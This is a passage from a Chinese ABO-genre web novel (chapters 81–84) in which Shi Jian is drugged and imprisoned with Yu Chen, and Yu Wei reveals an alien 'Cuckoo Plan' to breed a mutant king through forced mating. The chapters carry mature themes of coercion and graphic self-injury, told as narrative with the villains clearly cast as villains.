雷雨扬眉道:“我要一直在你耳朵边念叨做Alpha一点也不好,哪怕这样我们就可以合法结婚了,也一点都不好。你本来就应该是最出色的Omega。” 时茧怕这个话题再深入下去两个人会争执起来,果断夸起雷雨的手艺,果然吸引了他的注意。 吃完下午茶后他和雷雨一起把杯碟洗了,又被雷雨拉着看了会儿没营养的双O恋泡沫剧,困意不知不觉就涌了上来。 时茧抬头望向窗外,才发现早已是暮色四合,雷雨坐在他旁边,被深蓝色的窗景勾勒出高大而强壮的轮廓,听着告白的电视剧背景音,他眨着眼,心中忽然就冒出个想法:像雷雨这样的Omega,大概喜欢的也是Omega吧,就是不知道他以后会和谁组建家庭。但无论如何,他都希望这个相伴十几年、共享了自己成长回忆的男孩可以爱上一个很好的、很值得爱的人,希望全天下的幸福都可以为雷雨降临。 时茧打了个哈欠,眼角泛着困顿的泪花:“有点晚了……学校和营地都有宵禁,我想我得先回去了。” 他说着,起身想走,雷雨拉住他,温声道:“睡会儿也没关系,我这里住得下。” “不好吧,我毕竟是A……”话说到后面,时茧的意识就越来越模糊,连自己都听不懂自己在说些什么,很快就如坠云里。 雷雨接住软绵绵倒下的时茧,替他盖好被子,整理着额前的碎发,眼神始终落在那张安然美丽的脸蛋上。 “睡吧。” 他拿出时茧的手机,编辑了条消息发送过去。 “叮咚——” 沈行川抓起扣住的手机,打开特关的消息窗口一看,露出一抹了然于心的表情:“我就说嘛,小茧说他今晚住酒店,不回来了。” 隋边啧了声:“说没说让我去送套。” 付岩有些尴尬地说:“虽然他要去见的是Omega朋友,但OA恋还是挺常见的,就他那个长相……也很难说你送过去的套到底是给他用还是给那个Omega用了。” 隋边拿起旁边的水杯,一口水还没咽下去,被这话呛得一阵猛咳。边缓着这口气,边在脑子里模拟那个场景,顿时咳嗽得更厉害了。 沈行川倒真思考起来了:“不能吧……不过你说得也有道理。像时茧这样的弱A……很难说啊……” 隋边闻言,立刻激烈地反驳道:“不可能!” 沈行川正要与他争辩,付岩忽然脸色一变,喊了一声安静,两人瞬间屏气凝神。 片刻后,付岩神色难看:“余维果然……先别管小茧在哪了,现在必须得马上把这件事报告给温长官!” 见状,沈行川和隋边也严肃起来:“怎么了?有什么发现?” 付岩深吸口气,按着耳机的手指都还在颤抖,一字一句道:“杜鹃计划……督察队队长和白蔼高等学院一年级总教官通话时查到的。不仅如此,这通电话里还提到了第一军区。” 沈行川和隋边立刻站起身,三人脸上皆是乌云密布,即使以他们的权限还不清楚杜鹃计划究竟有什么内情,但这件事还牵扯到了余维,显然绝不简单。 他们拉开宿舍的门,迎面袭来一阵窒息的闷热,远处黑云压城,风雨欲来。 第82章 第 82 章 真相。 疑惑和不安笼罩在每个人心头, 在等待温隅安做出反应的长达几十秒的时间里,办公室里安静得只能够听见空调外机轰隆轰隆的声音,连汗水弥漫过额头顺着脸廓向下滑落的触觉在这一刻都显得如此明晰, 仿佛有某种黏腻的小虫子从脸上爬过那般。 温隅安同样心情沉入谷底, 沈行川等人因身份还只是军校生接触不到更多内幕,尚不知道情况的严重, 但作为跟在时藏锋身边这么多年的他来说, 再清楚不过这封情报的重要性和背后代表的意义。 由几桩Omega的失踪案牵扯出极端组织, 再牵扯到那个知情者皆讳莫如深的杜鹃计划, 现在更是干涉到白蔼高等学院和第一军区, 一环套一环, 在一开始, 谁也没有想到过事件会如此发展, 如此棘手。 温隅安攥紧录音, 手指绷到发青发白, 片刻, 才终于重重吐出一口气, 沉声对几人道:“事关重大,我也必须立刻向时上将汇报。事关重大,你们切勿外传, 否则一律按泄露绝密处置。” “是。” 沈行川几人压力更大,严肃承诺。 “你们这段时间都最好待在一起, 不要随意见陌生人,以防万一。” 沈行川:“那我们先回去继续梳理通话录音了,也许还能再挖出什么来。” “去吧。” 话音未落,温隅安又像是忽然想起什么,叫住转身欲走的几人:“时茧呢?往常不都是他带着你们在忙这件事吗?这么重要的情报, 我怎么没见到他人?” “呃……这……” 沈行川和另外两人对视一眼,支支吾吾的样子引起了温隅安的怀疑:“怎么回事?” 今晚这事儿太大了,遮遮掩掩恐怕反而会惹上麻烦,在付岩和隋边的眼神示意下,沈行川深吸口气,选择如实相告:“时茧他……和他的Omega朋友出去玩了,跟我们说今晚住酒店,不回来了,所以他还不知道这件事。” 听见时茧和人去酒店的那一瞬间,温隅安差点捏爆了那支录音笔,愤怒和嫉恨巨浪般席卷他的整个胸腔,险些就要把心脏完全挤出来,眼睛忽然就黑下来什么也看不见,过了好一会儿才稍稍缓过来。 他尝到了口腔里浓重的血腥味,却没反应是因为后牙槽咬得太用力而伤到舌根,身体上的这点痛苦和他心里无处排解憋闷的痛苦比起来简直不值一提。如果时茧现在就站在这儿,他甚至想违背自己发过的誓,强硬地抱住时茧咬他的腺体,质问他明明现在他也可以是“Omega”,他为了他什么尊严都可以丢弃不要,凭什么还是比不过其他人,凭什么真的就一点儿机会都不给他了。 温隅安的眼底一阵一阵充血,他现在的状态让沈行川几人都害怕,小心翼翼地问需不需要叫军医来看看。 军校生们的声音让温隅安稍微找回一些理智,而更痛苦的事莫过于他偏偏没有办法真的像想象中那样不管不顾,他已经发过誓绝不会再让时茧受一点委屈,尤其是因为他自己那就更不可以,所以无论再不甘、再嫉妒,温隅安也不得不将这些汹涌彭拜几乎要将他淹没殆尽的情绪硬生生压下去,伪装成一个理智的、不出一点差错的上级,忍住在本能地颤抖的手,示意他们先离开。 沈行川几人面面相觑,心里清楚这人多半是让刚刚那句话给刺激到了,不然他们也不会犹豫要不要说,见状只觉得解气,等出了温隅安的办公室,又走出去很远,确认那人隔着这么远的距离听不见他们说话时,才放声大笑。 沈行川:“太爽了!你们看见他那副快憋疯了的表情没?活像自己老婆当着自己面出轨还不敢发作一样!简直狠狠地出了一口恶气!谁叫他以前那么对待小茧!” 隋边抱着手臂冷笑道:“活该。” 付岩虽然也替时茧觉得解气,但还是有些担心:“他不会因为这个,又对小茧有什么意见吧?” 沈行川嗤笑道:“这你就放心吧,没看他那样子吗,只怕小茧今晚出去鬼混真怀上个孩子回来,他也只会一边无能狂怒,一边心甘情愿地伺候小茧生产,再忍气吞声地替其他人养野种。” 话虽难听,但实在爽快,付岩难得有点腹黑地笑了笑:“你也太损了。但这就是他应得的下场。” —— 时茧只觉得自己回到了一个很熟悉的地方,无边无际的白色和河流,模糊的记忆里他似乎来过这里,而这一次他并未浸在河水里沉浮,只是坐在岸边上,赤着的双脚泡在感知不到任何温度的水里。 他的意识也是雪白茫然的一片,过了许久,才缓缓收回一点松散的意识。 时茧下意识地拨弄着河水,波光闪烁间,一些被他遗失的记忆逐渐回笼,前世的、今世的,幸福的、痛苦的,像这条蜿蜒而行的河流一样,一点一滴地慢慢恢复。 没有之前想起来东西时的头痛欲裂,碎片般脆弱的神经被温和的水流轻轻冲洗,浸润。 时茧下意识地抬手抚摸了下后颈,依旧是生涩的,那代表它还未被任何人进入标记过,但已经发育成熟,不再脆弱易碎。 那里面时刻孕育的信息素香甜而强大,带给时茧无穷无尽、河流般源源不断的力量。 S+的Omega。 时茧站起来,顺着河流的方向往前走,隐约有谁的声音在喊他,像隔着水面一样遥远而又沉默。 一段距离后,前方的亮光越来越刺眼,那道声音也越来越大,非常熟悉,却本能地厌恶。 直至走到那闪耀的光圈前,抬脚融入光芒中,声音才终于浮出水面。 时茧睁开眼,余宸焦急的脸代替天花板出现在他上方,急切地呼喊着他,见他醒来,那口气松得很明显。 “你终于醒了。” 时茧没应声,对自己为何会和余宸在一起而感到意外。 他坐起来,当身旁这人不存在,警惕地打量着周围。 是类似于禁闭室的全封闭金属屋,墙壁的具体材质不清楚,但时茧猜测应该很难用蛮力或者AS打开。 确认除了一道厚重的金属铁门之外再没有任何出口之后,时茧才终于肯正眼看余宸,一开口,便是让人失望的冷淡:“你怎么会在这儿?是你把我绑来的?雷雨呢?把他放了,别对他动手。” 自从在医院被时藏锋用信息素等级压制羞辱过后,余宸便被余维强制带离,关在自家别墅里软禁起来,除了从电视上得知时茧被授予联邦之星的勋章之外就再也没有了他的任何消息,更别说能见上一面。 没想到这次居然有机会,余宸本来还有些期待,没成想时茧完全把他当仇人看待,醒来说的第一句话,就是不留丝毫情面的质问。 余宸脸上的笑容渐渐淡下去了,心里难受,但又不敢还像以前那样动辄言语暴力,只低眉顺眼地一一回答道:“我被我爸绑回来了,今天突然被他扔进来,本来还挺郁闷,没想到你也被抱进来了。我看你是昏迷状态,怕你出什么意外,就一直守着你。至于雷雨,不管你信不信,反正我没看见他。” 时茧一直盯着他,没发现什么异常,不像是在撒谎的样子,也只能作罢。 他缩到墙角,和余宸拉开距离,担心着雷雨此刻是否也和自己同样的境遇。 但哪怕再冷脸,余宸看着好久不见的时茧,心里还是痒痒,一点点挪动着试图靠近,就在只差一臂宽的距离时,时茧突然睁开眼,冷冷道:“离我远点。” “……”余宸又抱着自己默默挪回了原来的位置。 时间一分一秒过去,金属屋里的空气却越发凝滞,时茧依靠天赋能够察觉出从自己醒来到现在过去了多久,正是因为眼睁睁看着被困的时间越拖越长,再等下去也只是坐以待毙,更别说弄清楚雷雨的安危,于是不得不忍着恶心从余宸身上下手。 “你是余维的亲生儿子,他为什么也把你关在这里?” 余宸没有那个感知时间的能力,等得昏昏欲睡,时茧的声音像盆从天而降的冷水般,一下子就泼醒了他,又高兴又茫然地摇摇头:“我不知道……我被他带回来后,就一直关在家里,不让我回小队,也不让我去第一军校了。” 时茧秀气的眉毛拧在一起,且越来越深—— 他不明白,余维关着余宸做什么?仅仅是因为嫌他丢了余家的脸吗? “只是单纯地关着你?除此之外,没有别的怪异之处?” 余宸被问得一愣,下意识回答没有,但又不自觉地回忆起余维的要求,迟疑道:“也有吧……家庭医生会每天检查我的身体,给我输液,这算吗?” “你受伤了?” 余宸就当时茧在关心他了,怕他觉得自己是个病秧子,立刻否认:“只不过在救援你的时候受了点皮外伤而已,没什么大碍!” 时茧“哦”了一声,“但我听我父亲说,他用信息素等级压制,把你的腺体重伤了。” 余宸羞愤地想挖个洞把自己埋进去,头低得深深地,瓮声瓮气地说:“区区信息素压制!……根本没多大影响。我现在一点后遗症都没有,不信你试试?” 时茧冷笑一声,在本来就八竿子都打不着的距离上又主动挪远了些:“谁想闻你那烧焦了的信息素。” 余宸吸吸鼻子:“你怎么知道我的信息素是这种味道。” 话音未落,两人都是脸色一变,空气中早已不知不觉弥漫着满室的焦木信息素,无孔不入地扑向这密闭空间里唯一的Omega。 余宸怕时茧误会自己,又勾起曾经那些不好的回忆,忙解释道:“没!我不是故意释放信息素的!我以前对你做过的那些事是很混账,也欠你一个道歉,我知道你不会原谅我,也不稀罕,但至少我自己心里发过誓,绝对不会再像之前那样对你!” 时茧脸色难看,倒不是怀疑余宸话里有假,而是这些信息素过分浓郁,且十分霸道,即使他已经明确表示了拒绝,仍不管不顾地试图强制撬开他的腺体,让这个漂亮诱人、未被标记的Omega为自己打开。 余宸在一开始的慌乱自证后也渐渐冷静下来,他一开始本来是害怕自己失控的信息素会伤害到时茧,但事情……好像不是这样发展的? 他的信息素似乎很兴奋、很热烈,并不像是遇见同类时那样势必要争个你死我活的针尖对麦芒,反倒像是主动凑上去,要……求偶一般。 等等,求偶?! 余宸一瞬间睁大了眼睛,不可置信地看向时茧:“你、你二次分化不是分化成Alpha了吗?!我的信息素……?怎么、怎么会……” 他震惊到语无伦次,时茧倒不慌不忙,慢悠悠地解释:“因为那次的‘二次分化’根本就是假的,由我父亲一手策划,在向所有人撒一个我是Alpha的弥天大谎。而在捣毁极端组织的基地时我被注入了觉醒药剂,强制我进入真正的二次分化,所以我真正的性别从始至终都是Omega,你们所看到的只不过是一个谎言,一个假象。” 时茧顿了顿,似乎自己也觉得荒唐,有几分自嘲地笑道:“最荒诞的是我在重伤后记忆受损,连自己都忘记了这件事,直到现在才终于又想起来。” 余宸听得目瞪口呆,结结巴巴地问:“那、那你父亲……他为什么要这么做?他不知道一个本来预测会分化为高等级Omega却分化成E级Alpha会面临什么吗?这岂不是说你因为那个虚假的二次分化所遭受的一切本该避免的不幸,都是由他一手造成的?” 余宸见过时藏锋为了时茧不顾他第一军区继承人的身份而重伤他的腺体,所以他实在不敢相信时藏锋会是这样一个心狠手辣的人,时茧是他亲生的儿子,他怎么会?! “刚得知的时候……我自己也不敢相信吧。怎么会有父亲能狠得下心这样对自己的孩子?”这些事早已过去,如今再提起来,时茧也早已没了最开始那种心如刀绞的痛,他用一种看淡了所有,非常平和的语气娓娓道来:“但很快我就想通了,他这样做是想隐瞒我的真实性别,以防有极端组织盯上我——事实也的确如此,那个已经不复存在的组织从一开始的目标就是我。” 时茧说到这儿,停顿了一下,意有所指:“而且,应该也不止是一个势力盯上了我。我不清楚他这样的方法是否对保护我起到了作用,但为此而带来的痛苦是真实存在的,我不会忘记这点,无论什么也弥补不了。” 其实按时茧对时藏锋的信任和依赖程度,但凡时藏锋下这个决定之前事先和时茧通过气,那结果一定会完全不同,他会有心理准备,知道父亲并未真正抛弃他,总不至于在孤立无援、举目无亲的环境里把委屈打碎牙一起咽下去。 那些伤害不是时藏锋直接造成的,却是来源于他,直至今日时茧也没有办法恨自己的父亲,却也没有办法真正原谅他。 余宸有些唏嘘,不好插手父子俩之间的事,也注意到他话里的另一个势力:“你怀疑我父亲?” 时茧丝毫没有沉湎在失落的情绪之中,迅速地调整好状态,直勾勾地盯着余宸,反倒把这个曾经翻天覆地的混世魔王给看得有点不自在了:“我能相信你吗?抛去恩恩怨怨,如果你只是一个接受了联邦十几年教育的,第一军校的一年级新生,我可以把你当做军人去信任?” 余宸意识到时茧话里的严重性,他忍耐着腺体暴.动的不安和焦躁,郑重而庄严地说:“作为一个Alpha,我的职业生来就是成为一个军人守卫联邦,为联邦和人民战斗到最后一滴血流尽,我的同伴可以托付给我百分之两百的信任;私人方面,那些恩恩怨怨我没有办法抛开,因为错的人一直都是我,我欠你的、对不起你的,都要百倍千倍地偿还给你。” 说着,余宸的语气缓和下来,带着一种令人难以深究的、复杂的情绪,定定地看着时茧,轻声道:“我离开得太急,还没来得及很正式地跟你说一句对不起。我知道你厌恶我,想想我以前做过的混账事,别说你了,连我自己都觉得自己是个畜生。所以于公于私,无论你想让我做什么,只要不伤及无辜,哪怕上刀山下火海,我都会替你办到。” 余宸言辞诚恳,时茧也就不浪费时间了,开诚布公道:“我怀疑你父亲和异种有勾结,或者……他本身就是变异异种,伪装成人类,想要覆灭联邦政权。” 为了防止这件屋子里藏了窃听设备,这段话时茧是用温隅安教他们的密语交流的。 果然,余宸脸色大变,脸色“刷”一下雪白,在这样重大的打击下几乎停止了思考,整个人都陷入一种停止的状态中。 连那原本燥乱的焦木信息素,都安静了不少。 这让他怎么相信呢—— 接二连三的重磅消息,先是时茧的真实性别,又是时藏锋一手策划儿子的假“分化”,现在,甚至连他的父亲,第一军区的总指挥官,都严重涉嫌与异种有牵连了—— 他根本、根本就没有办法接受。 时茧对此早有预料,对余宸的反应也谈不上失望,反而在他意料之中。 任谁忽然得知自己父亲和异种有瓜葛,一时半会儿都不可能接受吧,认为对方在胡说八道也再正常不过,接受得太快反而才有诈。 他接着分析道:“不只是和异种,我充分怀疑你父亲和那个极端组织也有来往。你被带回第一军区了自然不知道,但这期间,你父亲为了向我父亲施加压力将矛头指向我,暗中让督察队队长以种种莫须有的罪名逮捕了牧野教官,我去找皇帝才拿到了赦免令,隶属于皇室的联邦安全局也对督察队相关涉事人员进行了调查,而这个督察队队长畏罪自杀后,基因被检测出与异种高度相似,但外表和人类一模一样。” “他和余维牵连极深,那余维对此是否知情?是否参与?或者干脆就是他的上级?这牵扯到一个绝密档案杜鹃计划,我第一次听说,正是在极端组织首领的实验台上,他不仅试图给我注射促分化针剂,还试图让我参与到这个杜鹃计划中来,前者是他自己的私心,后者却是一个神秘人的命令。” 时茧回忆着过往种种,将那些隐秘的、不起眼的蛛丝马迹层层剥开,剩下的那个答案,即使缺乏实质证据,也呼之欲出。 “极端组织,变异异种,杜鹃计划,高等级Omega,这些看似凌乱的线索实际上是被扯开的手链,只要耐心地找齐散落的所有珠子,再按顺序串联好,真想也就——” 时茧眼神一冷,耳朵微动:“水落石出。” 金属屋外,一串细微的脚步声正缓缓靠近,最后停留在门前。 第83章 第 83 章 异种之母。 时茧和余宸的眼神同时一凛, 屏气凝神,看向那扇紧闭的银白色金属门。 门并未打开,只有一直关闭的显示屏在忽然闪烁几下后, 出现了一个两人都极其眼熟的人影。 余维慢悠悠地鼓掌, 微笑道:“不愧是我那位老朋友最疼爱的幼子,果然是青出于蓝而胜于蓝, 仅仅凭借那么一点线索就能推导出这么多信息, 实在让人不容小觑, 看来这联邦注定会是你们年轻人的天下了。” 时茧未答, 余宸才被冲击完, 整个人的世界观都仿佛完全崩塌了, 现如今听见余维的声音, 混沌一片的大脑选择性忽略了刚刚听到的那些推测, 忙起身跌跌撞撞地走到门前, 急切地喊道:“爸!是我啊!你怎么把我也关起来了, 快放我出去!” 说话间余光看到坐在原地没有动作的时茧, 又加上一句:“还有小茧, 你快放了我们!这其中肯定有什么误会,你们上一辈人的恩怨不要牵扯到他身上!” 余维仍旧不紧不慢地笑道:“你急什么,等时机成熟之后, 你们自然都会被放出来的。就算暂时关在里面,也会平安无事。” 他虽然在一门之外, 却似乎能清楚地看见时茧,意有所指地说:“毕竟,我们很需要这位S+的Omega。” 余宸愣住了,从未设想过得到的竟会是这样一份答案。 倒是时茧从始至终都很淡然,见状也只是语气寻常地问:“你把我抓过来, 又把余宸也关进来,到底有什么目的。” 余宸下意识地接了一句:“我爸能有什么目的”,然而话音未落,余维的话里充斥着浓浓的违和感,余宸的心顿时便深深地沉了下去。 “这样简单而直接地摆在明面上的答案,聪明的时小少爷居然没有看出来?这可真是令我感觉到意外。”余维故作惊讶,卖关子道:“不如你猜猜?一个Alpha和一个Omega被放在一起,又恰逢发情期,还能够发生什么呢?” 此言一出,时茧和余宸都在同一时间变了脸色,但与时茧的惨白不同的是,余宸竟是有些不知所措地害羞。 他偷偷地看了一眼时茧之后,有点扭捏地对余维道:“爸,我自己的事,你不要瞎掺和,我自己知道怎么做的。” 余维看着屏幕里自作多情的儿子,冷笑道:“据我所知,你其实一直都暗恋着时小少爷吧,但因为自己的愚蠢而导致失去了入场券。现在父亲帮你一把,亲自撮合你们如何?好儿子,你可要把握好机会啊,别浪费了父亲的一片苦心。” 余宸懵了:“你看出来了……不、不对,我不可能在这种情况下和小茧发生什么的。趁现在事情还没有闹大,爸,你快放了我们,别惹出事端!” 时茧则道:“我也奉劝你及时收手,你应该知道的,我体内有定位器,长时间停留在陌生位置或信号被屏蔽,我父亲知道后一定会立刻查找我所在方位,一旦让他发现是你把我绑来囚禁,他不会那么轻易就放过你的。” 余宸实打实地领略过时藏锋的手段,见状高声附和道:“是啊爸!你收手吧!” 余维讽笑:“呵呵,果然还是群天真的小孩子。等他们找过来,一切都已经尘埃落定了。异种之王终将诞生,届时就是你们所有人类的末日,我还用得着忌惮一个第九军区的总指挥官?” 捕捉到关键词,连向来闹腾个没完的余宸都安静下来,他无比认真地盯着显示屏里那张日夜相处的面孔,试图从上面找出哪怕一丝一毫的破绽来证明这并不是自己从小见到大的父亲,然而结果注定要让他失望,没有人比余宸更了解余维,所以他知道,这一刻对方所说的所有话都是如假包换的真话。 可是,究竟为什么会变成这样?! 为什么自己和余维朝夕相处十八年,在此之前,他都从来没有发现过自己的父亲,这位第一军区的总指挥官,虽对外作战上并无赫赫战功,却也是人们交相称道的一位联邦上将,居然真的和异种有勾结! 甚至在谋划如何推翻联邦,迫害人类! 余宸一时半刻根本无法接受这个事实,心底最后那一抹侥幸也被当事人无情地揭开,他现在的所有认知几乎都是坍塌的。 时茧早有准备,倒是比余宸冷静多了,见他这幅失魂落魄的样子,啧了一声,不耐烦道:“自己找个地方坐着去,别挡在前面,像只苍蝇一样转来转去。烦人。” 余宸已经听不进去任何人的话了,只是本能地听从时茧的话,像丢了魂儿一样眼睛发直地找到角落坐下,面对着墙壁的样子颇有些自闭。 余维很不满意余宸的表现,从鼻子里重重地哼了一声以示不满。 但余宸早已屏蔽了来自余维的一切信号。 余维一股志在必得的语气:“呵,没关系,时间还很长,总会来得及。” 时茧闻着空气中浓度越来越高的焦木信息素,即使是S+级别的Omega,在如此密闭的空间里,又和高等级Alpha距离如此近,也很难抵抗住信息素一波接一波、犹如不息潮水般的进攻。 时茧尚且如此,余宸的状态就更糟糕了,他得知真相的崩溃本身就击垮了心理防线,陷入发情期后,更是无法控制自己,几次都差点没忍住,就要突破时茧设下的安全距离,朝着那块香甜的“蛋糕”猛扑过去。 但余宸记挂着自己曾伤害过时茧的事,这在他心里一直是最大的悔恨和不可触碰的伤疤,即使欲望难以压制到将舌头咬得鲜血淋漓,余宸也硬生生地把自己逼在角落里,不曾跨越雷区半步。 可在生理渴求的摧残下,他还能再坚持多久,那就是个未知数。 时茧眼前的视野也渐渐有些模糊了,后颈的腺体处在竭尽一切抵抗着陌生Alpha信息素的进攻,灼烫得吓人。 余维通过监控目睹着里面发生的一切,勾起一个皮笑肉不笑的弧度。 “Alpha和Omega进入发情期后就应该进行交.配繁衍的行为,这是所有A或者O的天性,也是一件足以让人感觉到极乐的事情,你们为什么要这么抗拒?不如顺应欲望,接纳一切吧。” 时茧冷笑着啐他一口:“做、梦。” “你是S级Omega,自然还能多撑一会儿,我这愚笨的儿子可马上就要坚持不住了,难道你忍心看着他憋坏吗?” 时茧也有很多个疑问没得到处理:“你到底对他做了什么?这可不是一个Alpha正常该有的发情期!” 余宸也晕晕沉沉地抬起头,看向门的方向—— 他的状态要比时茧糟糕得多,被本能侵蚀得已经不能保持一个清醒的意识了。 余维却完全无视了亲生儿子此刻痛苦挣扎的表情,笑道:“啊……你说这个吗?只不过是将异种的基因打入他的体内而已,那可是上一代异种中的最强者基因!他一个A+级别的人类……哼,当然是无法与之抗衡了。” 余维话里话外都充斥着对人类的贬低,即使主体是他亲生的儿子也不例外,但在面对时茧时,态度却有种压抑不住的狂热:“不过只是作为基因载体也足够了!只要他和你,整个联邦最强大的Omega结合,所诞生的异种一定是最强的、永远不会失败的神!” 在他突然激动拔高的语气中,时茧终于凑齐了拼图的最后一块,这真相也同时让他感到不寒而栗—— 在这个人,或者说在这个异种的口中,自己亲生的儿子也只不过是一个乘手的工具而已,更遑论他对其他人只怕是更冷漠的态度! “所以……这就是你们的杜鹃计划?就和字面意义上的一样,作为异种,却伪装成人类混入我们的社会,处心积虑地一步一步向上爬,侵蚀原本巢穴里鸟的生存机会,鸠占鹊巢,直到最后彻底占领联邦!还妄想让我生下所谓的异种之王……真够阴毒。” 时茧的声音都有些颤抖,用深呼吸平复着自己躁动的情绪。他回忆着当时在极端组织基地的实验室里,其组织首领偶尔间透露的一些信息,再从余维的表现中,有关“杜鹃计划”上掩盖了十数年的面纱,有朝一日终于得以彻彻底底的揭开了。 “即使知道你很聪明,也还是没料想到仅凭这么微不足道的线索就能迅速理清底细,看来我还是低估你了。” 时茧冷漠地看着那道屏幕。 余维用一种有些痴迷的语气,期待而迫切地紧贴着屏幕看向里面:“不愧是S+级别的Omega……不愧是我看中的Omega!你一定会是最棒的雀母,为我们诞下最强大的战士!” 时茧忍耐着,缓缓吐出两个字:“做、梦。” 余维并未恼怒,只笑道:“这对你而言或许的确难以接受,但许多事只不过阵营不同,你现在是人类,自然会替联邦卖命;等你诞下异种之王,你就是整个异种族群的母亲……到那个时候,你就不会再与我针锋相对了!” 说完便扬长而去。 余宸再也坚持不住,脱力地倒在地上,浑身已经被汗浇得湿透,面色带着不正常的潮红,臣服般爬到时茧面前,伸出手想要触碰: “求求你……求你……” “解救我吧……” 第84章 第 84 章 气死时藏锋。 另一边, 时藏锋在得知消息后立刻连夜赶到皇宫,将此事告知于皇帝。 阿比斯·诺曼沉思片刻,在这种事关联邦存亡的时候, 和政敌之间免去了你来我往的试探, 直截了当道:“虽然还没有确凿物证,但事关重大, 绝不能轻易揭过。既然第一军区的总指挥官都涉嫌与异种勾结, 辖区内只怕早就是异种的自留地了。这样的治区, 只有用最为强硬的手段, 打碎重整, 才是唯一能够起死回生的出路。” 时藏锋这一路上同样也在思考究竟要不要出手。 “但考虑到贸然进行大规模的军事行动恐怕会让民众造成不必要的恐慌, 为了将损失降低到最大值, 尽量先派出精锐尖头部队查看情况, 争取收集到更多情报和信息, 我们也需要更多时间考虑这之后该如何排兵布阵。” 时藏锋对此没有意见:“第九军区的一部分兵力还驻扎在中心区, 可以从中调取尖兵组成特别小队, 如果兵力不够, 第一军校的学生任务经验也很丰富,必要时候也可以调动。小队的指挥权交予温隅安,蛇类精神体善于伪装潜伏的天性能事半功倍。” 阿比斯·诺曼点头, 赞许道:“时上将不愧是联邦英雄,若所有的军区指挥官都如你这般为联邦舍生忘死、肝脑涂地, 想必余维根本支撑不到今天。” 时藏锋诧异于对方的赞赏,他可是一个坚定的去皇室派,如果所有指挥官都跟他一样,那这皇帝现如今可就不能像现在这样和他面对面心平气和地交谈了。 而那个一直都让让时藏锋百思不得其解的问题就是,往日里他和诺曼皇室不说针锋相对, 也至少可以说是政见不合,极少给过他好脸色——当然他也没客气过。 阿比斯·诺曼,这位他早晚都要推翻的皇帝,对自己的态度为何一百八十度地大转弯了? 是因为他还有对抗异种的利用价值? 还是打算装到杜鹃计划败破,清算完余维和第一军区之后,就会卸磨杀驴? 答案时藏锋不得而知。只是眼下这种特殊情况,即便再不解,他也只能先和对方联手将最有可能威胁到联邦安全的余维除掉。 二人又商议一番,谈定后时藏锋不欲久留,起身告辞。 阿比斯·诺曼却忽然提及时茧:“话说回来,今日怎么不见小少爷?” 时藏锋心中警铃大作,落在皇帝脸上的眼神远比刚刚更加戒备:“他一个小孩子,自然不适合过深地参与到这些事中,况且频繁出入皇宫,恐怕也会招致一些流言,对皇室和时家都算不上什么好局面。” 时藏锋的意思其实很明确,他不希望其他势力拿时茧作筏子,弹劾时家与皇室结党营私,届时受到伤害首当其冲的也一定是时茧,这对他未来的成长很不利,时家有的是资源为他铺路,并不需要掺杂上皇室的运作。 然而这句“流言”在阿比斯·诺曼心中,却有着更为暧昧的解读:“年轻人嘛,郎有情妾有意,干柴烈火又怎么会是几句流言蜚语就能浇熄的。” 时藏锋心下一沉,黑压压的眼神扫过皇帝:“这我倒是不懂了——什么是郎有情,妾有意?” 阿比斯·诺曼已然感受到男人那迫人的威势,S+的Alpha正在像一头被触犯领地的雄狮般释放出警告的信号。 但同为高等级Alpha,整个皇室的掌权人,阿比斯·诺曼可不是那个会被时藏锋轻易碾压的余宸,他不动声色地微微笑道:“识云和小少爷互相有意,此事时上将还不知情?哦……这也不奇怪,您日理万机,这个年纪的小孩情感世界又活跃,有所疏忽也是在所难免。再者说他们也才刚确定下来,还没来得及告诉您也是正常的。” 没来得及告诉—— 那要等到多久他才能接到通知,时茧被完全标记、连孩子都怀上的时候吗?! 作为时茧的父亲,却对时茧的感情关系没有任何知情权,还得要政敌来通知自己,时藏锋在这一刻既无比愤怒,又感觉到一种荒谬和可笑。 真是荒唐。 时藏锋压下心中的惊涛骇浪,冷笑道:“八字还没一撇的事,不必说定得这么早。我相信小茧不会乱来。” 阿比斯·诺曼的笑容里则多出几分让时藏锋察觉到很怪异的志在必得,用一种以退为进的姿态:“我相信识云不仅能让小少爷满意,更能让上将也满意的。日后会怎么样,让我们拭目以待吧。” 时藏锋冷哼一声:“告辞。” 阿比斯·诺曼礼节性地挽留了几句,但显然对方已经完全被激怒,没有当场翻脸大概都是看在外患未除的情况下把不满硬生生压下去了。 看到时藏锋如此吃瘪,常被无端弹劾的郁气一扫而空,阿比斯·诺曼心情极好,愉悦程度堪比功绩+1。 “你的父亲可真是个棘手的麻烦。”皇帝陛下如此笑着抱怨道,但更多只是存了一种想要逗弄小家伙的心思。 时茧却一脸认真又严肃地告诉他,“把你的那点心思当着我父亲的面点破,他也许会当场气得一命呜呼。” 阿比斯·诺曼闻言很是心动,不过他做事还是有些分寸的,哪怕知道时茧和这个父亲关系破裂尚未修复,也还是收敛了几分,没有直接爆出自己和时茧的这点事,以免还没过门就真把岳父气死了。 ——想想但凡是个正常人,应该都接受不了自己千娇万宠养大的孩子,和一个明面上跟自己同岁的老男人在一起吧。 相比之下,只是告知对方你眼珠子似的小宝贝和你政敌的儿子谈上,似乎就好接受得多。 警告着意识海里躁动的精神体,阿比斯·诺曼在这种背人的时候,才终于展现出他真实的面目,毫无表情地警告道:“我用这具身体活不了多久,现在这点时间是完全属于我和他的,你最好是安分一些,以后你们还有得是时间。” 而他如果需要再次苏醒,必须要等待顾识云成长到完全体,能够孵化出新的精神体载体供他使用,这中间可能只需要几个月,也可能长达几年。 且要长到足够占有时茧的年岁,那所需要花费的时间可就需要用更长的单位进行计算了。 闻听此言,他那犹如海啸般波澜起伏的意识海才终于慢慢平静下来。 阿比斯·诺曼冷笑一声,抬手搭在窗台上,远处深蓝的天际线已经破开一丝光亮,那沉静的颜色让他想到时茧的眼睛,神色又不觉渐渐缓和。 等杜鹃计划的事情处理完,他就可以逐步计划‘死亡’,以顾识云的身份和时茧顺理成章、光明正大地在一起。 他们会在无数个日出时相拥着醒来,再在落日时分将爱意诉说到最尽兴。 * 一夜过去。 时茧精疲力尽,腺体涌上一阵难以言喻的酸胀,用以安抚镇压余宸的信息素已经所剩无几,但好在总算让这人暂时安静下来了。 余宸的情况比他还凄惨十倍,脱力地倒在冰冷的金属地面上,脸色苍白得像是死了好几次,虚耷着眼皮,额头和眼睛被鲜血糊满,被汹涌而来的情欲折磨得痛不欲生。 他的两只手都被自己咬得血肉模糊,最深的甚至能看见白森森的骨头。膝盖上、手肘上也都有着大面积的摩擦伤。 而受伤最严重的还是腺体,本就因时茧和时藏锋接连重伤,还没怎么恢复好,这次又伤上加伤,被欲求不满的信息素割得鲜血淋漓,形状颇为恐怖。 